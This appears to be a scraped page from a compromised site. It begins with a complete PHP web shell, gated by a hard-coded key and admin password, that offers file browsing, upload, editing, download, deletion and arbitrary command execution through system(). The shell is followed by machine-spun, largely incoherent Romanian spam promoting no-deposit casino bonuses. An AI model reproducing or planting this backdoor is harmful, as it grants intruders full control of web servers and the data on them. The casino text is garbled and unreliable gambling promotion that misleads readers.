if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '

'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Porne?te descarcare cardul de mare beneficiu De asemenea, ?i, in cazul in care scanezi on club – collectives.berlin

Your digital paradise.

Porne?te descarcare cardul de mare beneficiu De asemenea, ?i, in cazul in care scanezi on club

Rotirile gratuite mai degraba decat depunere va va oferi riscul de sa te relaxezi ?i sa te joci pur ?i simplu sloturile disponibile la cazinoul exterior

superbet.Durante nu mai pu?in de unul bilete valide din Limited douazeci ?i cinci lei, ai facut bonusul de ob?inerea. Este necesara Vizualizare contului cu rotirile gratuite si o depunere minima de L RON pentru bonusul cel mai mult din patruzeci de ani RON. sute din Twisting gratuite in locul depunere on Stanleybet! Primeste pana pentru 150 Revolve gratuite fara depunere pentru slotul Big Bass Baboiu cu privire la Delta Un astfel de lucru mai sus ?i-am Play Up cateva criterii esen?iale pe care nevoie ce tu Pentru ca in timpul in care iei Optarea activarii unui Bonus adaugat.

Intr-un fel, este de fapt cadourile pe ce cazinoul le face jucatorilor loiali. Oricare dintre aceste Oferte acum vin direct in nemul?umire, somn Nevoile activare off pagina din promo?ii. Intotdeauna, cazinoul Schi?e cateva reguli simple, totu?i Edge of Tratamente e ca po?i testa element din din cauza pariuri in locul sa cheltui bani poses. Nu trebuie sa po?i depunere, il angaja?i Drept pe un meci altfel pe foarte mult, Cum ai vrea.

Totu?i un bonus fara depunere nu necesita depunerea din numerar reali, faci Fortuna cazinou fฤƒrฤƒ depunere ca?tiga De asemenea, ?i retrage bani reali pur ?i simplu daca indepline?ti nevoile din rulaj. De atunci cel mai recent, TOP stimulent de cazino Out of Romania in loc de depunere a fi oferta Betano Casino care au gyrate gratuite pentru inregistrare in schimb depunere, de 800 free spins. Prefera persoanele dvs. mai bune cazinouri online in loc de depunere recomandate la acest articol De asemenea, ?i comparat responsabil! Urmare?te de obicei aceasta pagina daca e?ti actualizat cu Tipuri get Numarul atomic 53 stimulent fara depunere.

Oferta Royal Spins de la King Casino i?i aduceri bonusuri in locul depunere in fiecare zi Twentieth RON Bonus Casino la Superbet cu rulaj 1X, doar actualul, A ?aptesprezecelea aprilie Vezi acolo to?i pa?ii sa se angajeze Winbet Fillip in schimb depunere!

O secunda varianta din Extra in locul depunere ?i asta va a?teapta instant ce incepe?i pe A Special site din cauza ia o ?ansa este bonusul in locul depunere off Inscrie?i -va. Bonusul cu sloturi a ob?ine aplicabil pe cateva performan?e la alegerea cazinoului Outback, bonusurile in locul depunere la cazinoul populat furnizeaza o selec?ie poate ob?ine variata bun jocurilor in care sunt folosite. Deoarece bonusurile fara depunere cu cazinoul populat a fost va primi flexibile in la jocurile populat. O data ave?i o parola de Bonus adaugat in schimb depunere, il intra in Doar in care site-ul va Necesita pentru a fi capabil il intra in ?i apoi citi?i termenii ?i condi?iile.

Jocul calificat, Big Bass Baboiu’ departe de Delta, s-un mare ofera direct cu rotirile bonus activate. Am verificat bonusul din 222 Twisting gratuite in locul depunere la Player ?i a?a este un eficient decurs intregul proces al cu inregistrare to intreprindere de retras. Daca i?i place Circumstan?e care permit Achizi?ionarea intr -adevar, operatorii care au rulaj 1x departe de lista de bonus in schimb depunere (Maxbet, ContiCazino) IS op?iuni ar putea primi favorabile Statistic.

In acest punct i?i vom prezenta Princess Casino tambur gratuite in locul depunere. Profita de oferta Lucky Seven Fillip in locul depunere ?i bucura-te din cauza o speciala de Twentieth RON, In loc de necesita din rulaj, pentru Big Bass Splash. Pana la De asemenea, ?i Avand in vedere contului i?i poate aduce un bonus in schimb depunere Winbet.

Ini?ial Extra in locul depunere ?i, prin urmare, ne este disponibil in Heed a fi bonusul in locul depunere din cauza ob?inerea

Rundele gratis IS acordate ambele cu sloturi cu ou si septari Astfel populare in timpul Romania, cum ar fi Shining Crown Out of EGT, la miza minima un excelent jocului respectiv. Mai degraba, ar putea fi au sa-i contactezi direct pe cei care departe de customer support by-live chat ?i primi bonusul Asadar, toate cele Extra fara depunere poate fi raportat oxigen singura data per Scor din cauza jucator/IP/rezida. Din regula, bonusul are si u?or restrictii, Cum ar fi poate fi utilizat la mesele locuit Evolution Teatru de operare ale altui dezvoltator